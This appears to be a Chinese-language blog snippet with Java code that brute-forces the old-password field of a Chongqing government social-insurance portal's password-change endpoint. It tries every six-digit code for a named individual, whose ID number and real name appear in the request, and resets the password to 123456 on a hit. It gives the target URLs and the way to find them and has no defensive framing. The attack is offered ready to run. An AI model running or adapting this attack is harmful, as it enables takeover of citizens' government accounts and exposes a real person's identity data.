登录:http://ggfw.cqhrss.gov.cn/ggfw/index1.jsp
F12获取修改密码路径:http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do
一、新建实体接受 返回对象
package com.ycgwl; public class rel { private String code; private String message; public String getCode() { return code; } public void setCode(String code) { this.code = code; } public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } }
package com.ycgwl; import java.io.IOException; import java.io.InputStream; import java.io.OutputStreamWriter; import java.net.HttpURLConnection; import java.net.URL; import com.alibaba.fastjson.JSON; public class Bean { public static void main(String[] args) { String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do"; String urlpara = "bh=500102199210245995&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456"; for(int i=465;i<1000000;i++) { String pwdd = getPwdString(i); if(pwdd.equals("")) { System.out.println("获取密码出错"); System.exit(0); } String result = Post(url,urlpara.replace("pwd", pwdd)); while("IOException".equals(result)) { result = Post(url,urlpara.replace("pwd", pwdd)); } System.out.println(i+"``````````````````"+result); rel rel = JSON.parseObject(result, rel.class); if(!rel.getCode().equals("0")) { System.out.println("设置成功"); System.exit(0); } } } public static String Post(String strURL, String params) { try { URL url = new URL(strURL);// 创建连接 HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setDoOutput(true); connection.setDoInput(true); connection.setUseCaches(false); connection.setInstanceFollowRedirects(true); connection.setRequestMethod("POST"); // 设置请求方式 connection.setReadTimeout(100); connection.connect(); OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码 out.append(params); out.flush(); out.close(); InputStream is = connection.getInputStream(); byte[] temp = new byte[connection.getContentLength()]; is.read(temp); String result = new String(temp, "UTF-8"); // utf-8编码 return result; } catch (IOException e) { return "IOException"; } } public static String getPwdString(int index) { int length = String.valueOf(index).length(); switch (length) { case 1: return "00000"+index; case 2: return "0000"+index; case 3: return "000"+index; case 4: return "00"+index; case 5: return "0"+index; case 6: return ""+index; default: return ""; } } }